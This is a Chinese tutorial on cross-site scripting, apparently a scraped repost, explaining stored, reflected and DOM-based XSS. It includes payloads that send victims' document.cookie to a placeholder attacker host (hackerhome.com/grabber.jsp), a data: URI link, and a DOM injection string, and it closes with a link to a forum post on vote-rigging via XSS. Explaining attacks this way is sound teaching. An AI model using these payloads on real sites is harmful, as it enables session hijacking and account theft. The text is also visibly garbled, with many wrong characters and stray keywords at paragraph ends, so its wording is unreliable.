XSS attacks

       最近才开始研究HTML以及安全问题。若是有什么说得不对的地方,望请指出。javascript

  在网络应用安全中,XSS多是最多见,范围最大,所包含攻击方法最多,同时也是最难以理解的一种攻击。在OWASP所列出的十大网络应用安全风险中,其排名第二位,仅次于SQL Injection。php

  就以一个博客应用为例。其经常须要容许读者对博主的文章进行评论。在输入评论的编辑栏中,咱们能够输入对该文章的评论,也能够输入如下HTML标记:html

1 <Script>alert(“XSS attack available!”);</Script>

 

  在读者按下提交键以后,该标记将被提交到服务器上,并在其它用户访问时做为评论显示。此时该用户所看到网页中包含该标记的部分元素可能为:java

1 <div>
2     <Script>alert(“XSS attack available!”);</Script>
3 </div>

 

  而从用户的角度来看,该网页中就出现了一个警告:数据库

  也就是说,用户输入的脚本语言已经被用户的浏览器成功执行。固然,这可能只是一个对该网站的善意提醒。可是对于一个真正具备恶意的攻击者,其所插入的脚本代码更可能以下所示:浏览器

1 <script>document.write('<img src=http://www.hackerhome.com/grabber.jsp?msg='+document.cookie+'
2     width=16 height=16 border=0 />');</script>

 

  该段脚本将向当前评论内插入一个图片,而该图片所对应的URL则指向了hackerhome中的JSP页面grabber.jsp。从访问该评论的用户这一角度看来,其仅仅是一个不能显示的图片。可是对于恶意攻击者而言,该JSP页面将自动记录传入的msg参数内容,即访问评论用户所使用的cookie。该cookie可能包含用户的敏感信息,甚至是用户名,密码等重要信息安全

  上面的XSS示例其实是最容易理解的一种:Stored。除此以外,XSS攻击还包含另外两种攻击方式:Reflected以及DOM Based(Type-0 XSS)。下面咱们就来具体讲解各个攻击方式以及各自的特色。服务器

  首先要讲解的就是咱们已经见过的Stored攻击。该攻击的最大特色就是,用于攻击的数据永久地存储在目标网站的服务器中。试着回想上面所给出的例子:在恶意用户提交带有恶意代码的评论时,为了能让该评论能够被其它用户看到,网站的开发人员必然须要将其永久性地存储起来,例如数据库。使用该方法进行攻击的XSS将对全部访问该页面的用户可见,而且一直保存下去,直到该评论被管理员处理。cookie

  第二类XSS攻击则是Reflected攻击。该攻击的最大特色则与Stored攻击相对:用于攻击的数据并非永久地存储在目标网站的服务器中。网络

  那这种攻击是如何实现的呢?请试想这样一种状况:某个网站容许其用户经过搜索的方式查找具备特定名称的商户。对于商户名称SomeStore,该搜索功能所返回的页面地址可能为:

1 www.SomeWeb.com/search.jsp?storename=SomeStore

 

  若是该查找功能没有查找到具备该名称的商户,那么网站将会返回一个错误页面:没有查找到名称为SomeStore的商户信息。此时恶意用户首先能够经过在搜索栏中输入<Script>alert(“XSS attack available!”);</Script>并执行搜索判断该网站是否有XSS漏洞。若是返回的搜索页面出现了“XSS attack available!”消息框,那就表示该页面仅仅简单地将URL中的参数SomeStore显示在了页面之中,而并无对脚本的执行作出防备。接下来,恶意用户就能够将商户名设为以下的恶意代码:

1 <script>document.write('<img src=http://www.hackerhome.com/grabber.jsp?msg='+document.cookie+'
2     width=0 height=0 border=0 />SomeStore');</script>

 

  也正是因为搜索页面仅仅简单地将该部分组成直接嵌于页面之上,所以用户从服务器端获得的网页将包含该段代码,其将自动访问hackerhome上的grabber.jsp,并将用户的cookie做为参数msg的值,从而使得受害者的cookie失窃。

  可是如何让用户访问这个页面呢?很简单,恶意用户仅仅须要向那些受害者发送该搜索的连接,并为该连接附上一段具备吸引力的话便可。若是受害者点击了该恶意连接,同时该网站的cookie在受害者的本地机器上没有过时,那么这个cookie将被恶意网站hackerhome所窃取。

  还有一种类型的攻击也被归类为Reflected类型的攻击,那就是利用data:协议动态生成文件。该协议容许客户端直接建立二进制文件,如Doc或PDF文件等,并使用相应应用程序打开该文件。例如,恶意用户能够经过XSS插入下面的连接:

1 <a href="data:text/html;base64,PHNjcmlwdD5vcGVuZXIuZG9jdW1lbnQuYm9keS5pbm5lckhUTUw9J3h
2    4b28nO2Nsb3NlKCk8L3NjcmlwdD4=" target="_blank">Click me</a>

 

  若是用户点击了该连接,那么电脑将自动使用关联的程序打开该文件。因为这些文件的读取等动做都须要相应的应用程序支持,所以恶意人员能够更进一步地利用相应的应用程序漏洞执行更丰富的攻击。

  最后一种则是DOM Based攻击,又经常被称为Type-0 XSS攻击。它与前两种攻击方式拥有很大的不一样:Stored和Reflected方式中,对有害内容的生成是在服务端完成的,而DOM Based攻击中,对有害内容的生成是在客户端完成的。例如一个图片浏览页面在URL中使用index参数表示当前用户所察看图片的索引,并经过javascript动态写入HTML元素:

1 <script>
2     var index = getIndex(document.URL);
3     document.write(“<IMG src=’www.imagestore.com/album1984/image?index=’ + index + ‘/>’”)
4 </script>

 

  那么恶意用户就能够经过在URL的index参数中插入其它信息来完成。例如在该URL中,恶意用户能够为index参数指定参数值后额外添加一部分恶意语句,如通过编码后的index=1/><script>alert(“XSS attack available!”)</script><img width=0 height=0。固然,恶意用户并不会但愿用户本身攻击本身,所以他仍然须要作一些额外的社会工做,例如发送邮件给受害者并诱使他点击该有害连接等。

2、Tomcat当中设置哪些地方能够减小XSS 攻击

国外关于这方面的说明

 

3、某论坛xss刷票实践

http://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=8641&highlight=%E5%88%B7%E7%A5%A8

相关文章
相关标签/搜索